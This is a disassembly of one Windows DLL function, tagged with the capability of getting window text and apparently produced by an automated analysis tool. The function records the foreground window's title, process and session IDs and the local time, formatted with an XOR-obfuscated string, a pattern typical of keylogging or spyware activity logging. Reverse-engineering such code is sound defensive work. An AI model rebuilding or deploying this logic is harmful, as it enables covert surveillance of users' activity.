Function at 0x180007254
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1920]
mov eax, 0x1a20
call sub.ntdll.dll___chkstk
sub rsp, rax
mov edi, 0x800
lea rcx, [rbp + 0x920]
mov r8d, edi
xor edx, edx
xor ebx, ebx
call sub.ntdll.dll_memset
mov r8d, edi
mov dword [rbp + 0x1930], ebx
xor edx, edx
mov dword [rbp + 0x1938], ebx
lea rcx, [rbp + 0x1120]
call sub.ntdll.dll_memset
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, 0x400
lea rdx, [rbp + 0x920]
mov rcx, rax
mov qword [0x1800352d0], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov rcx, qword [0x1800352d0]
lea rdx, [rbp + 0x1930]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [rbp + 0x1930]
test ecx, ecx
je 0x180007309
lea rdx, [rbp + 0x1120]
call fcn.1800165d4
mov ecx, dword [rbp + 0x1930]
lea rdx, [rbp + 0x1938]
call qword [sym.imp.KERNEL32.DLL_ProcessIdToSessionId]
mov r8, rdi
lea rcx, [rbp + 0x120]
xor edx, edx
call sub.ntdll.dll_memset
mov rax, qword [0x1800352c8]
cmp qword [0x1800352d0], rax
je 0x1800076d2
lea rcx, [rbp + 0x920]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
test eax, eax
jle 0x1800076c4
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.DLL_GetLocalTime]
movabs rax, 0xb1f5694e331e1997
lea rdx, [rbp + 0x90]
mov qword [rsp + 0x70], rax
movabs rcx, 0x1f45744f8d900fbc
movabs rax, 0x6bc1629f3926102c
mov qword [rbp - 8], rcx
mov qword [rsp + 0x78], rax
mov r8d, 0x90
movabs rax, 0xc935ac473cdbee1
mov qword [rbp + 0x118], rcx
mov qword [rbp - 0x80], rax
lea rcx, [rbp]
movabs rax, 0x9ead7275034fe1de
mov qword [rbp - 0x78], rax
movabs rax, 0x9c0d6af2d1d2f7fb
mov qword [rbp - 0x70], rax
movabs rax, 0x551360233190ca10
mov qword [rbp - 0x68], rax
movabs rax, 0x2f101be87ee0f955
mov qword [rbp - 0x60], rax
movabs rax, 0x10ca7c39225047c2
mov qword [rbp - 0x58], rax
movabs rax, 0xa0fbcd262ad227bf
mov qword [rbp - 0x50], rax
movabs rax, 0x80b4ef17f42d5db4
mov qword [rbp - 0x48], rax
movabs rax, 0xf7ec743c76dddd09
mov qword [rbp - 0x40], rax
movabs rax, 0xc5e4b7ed3c736386
mov qword [rbp - 0x38], rax
movabs rax, 0x641881cad52ccc23
mov qword [rbp - 0x30], rax
movabs rax, 0xefa44b1b9e2ff558
mov qword [rbp - 0x28], rax
movabs rax, 0x585f8a2078e5f55d
mov qword [rbp - 0x20], rax
movabs rax, 0xb94db291203f340a
mov qword [rbp - 0x18], rax
movabs rax, 0x643c467e4113eca7
mov qword [rbp - 0x10], rax
movabs rax, 0xb1a569153314199a
mov qword [rbp + 0x90], rax
movabs rax, 0x6b8462dc3969107e
mov qword [rbp + 0x98], rax
movabs rax, 0xcce5afe739ebeb2
mov qword [rbp + 0xa0], rax
movabs rax, 0x9ea77278033ce1fb
mov qword [rbp + 0xa8], rax
movabs rax, 0x9c486aa1d187f7a0
mov qword [rbp + 0xb0], rax
movabs rax, 0x5529606731d9ca42
mov qword [rbp + 0xb8], rax
movabs rax, 0x2f1d1b8c7ec5f908
mov qword [rbp + 0xc0], rax
movabs rax, 0x10837c6d220b47c8
mov qword [rbp + 0xc8], rax
movabs rax, 0xa0c1cd632a9e27eb
mov qword [rbp + 0xd0], rax
movabs rax, 0x80b9ef64f4085de9
mov qword [rbp + 0xd8], rax
movabs rax, 0xf7a574687686dd03
mov qword [rbp + 0xe0], rax
movabs rax, 0xc5b9b7d73c3663cb
mov qword [rbp + 0xe8], rax
movabs rax, 0x643d81e7d548cc06
mov qword [rbp + 0xf0], rax
movabs rax, 0xefc04b3e9e02f53c
mov qword [rbp + 0xf8], rax
movabs rax, 0x583b8a0578c5f57d
mov qword [rbp + 0x100], rax
movabs rax, 0xb977b2f5201a3430
mov qword [rbp + 0x108], rax
movabs rax, 0x643646734177ec82
mov qword [rbp + 0x110], rax
call sub.ntdll.dll_memcpy
movdqa xmm0, xmmword [rbp]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp], xmm0
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmm0, xmmword [rbp + 0x20]
pxor xmm0, xmmword [rbp - 0x70]
movzx eax, word [rsp + 0x6c]
movzx ecx, word [rsp + 0x6a]
movzx edx, word [rsp + 0x68]
movzx r8d, word [rsp + 0x66]
movzx r9d, word [rsp + 0x62]
movzx r10d, word [rsp + 0x60]
mov dword [rsp + 0x50], eax
lea rax, [rbp + 0x920]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm0, xmmword [rbp + 0x40]
pxor xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm1, xmmword [rbp + 0x30]
pxor xmm1, xmmword [rbp - 0x60]
mov dword [rsp + 0x48], ecx
lea rcx, [rbp + 0x120]
mov dword [rsp + 0x40], edx
lea rdx, [rbp]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm1, xmmword [rbp + 0x50]
pxor xmm1, xmmword [rbp - 0x40]
mov dword [rsp + 0x38], r8d
lea r8, [rbp + 0x1120]
mov dword [rsp + 0x30], r9d
mov r9d, dword [rbp + 0x1938]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm0, xmmword [rbp + 0x80]
pxor xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmm1, xmmword [rbp + 0x70]
pxor xmm1, xmmword [rbp - 0x20]
mov dword [rsp + 0x28], r10d
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmmword [rbp + 0x70], xmm1
mov qword [rsp + 0x20], rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rcx, [rbp + 0x120]
lea edx, [rax + rax]
call fcn.1800076ec
mov r8, rdi
lea rcx, [rbp + 0x120]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov r8, rdi
lea rcx, [rbp + 0x920]
xor edx, edx
call qword [sym.imp.ntdll.dll_memset]
mov ebx, 1
mov rcx, qword [0x1800352d0]
mov qword [0x1800352c8], rcx
lea r11, [rsp + 0x1a20]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret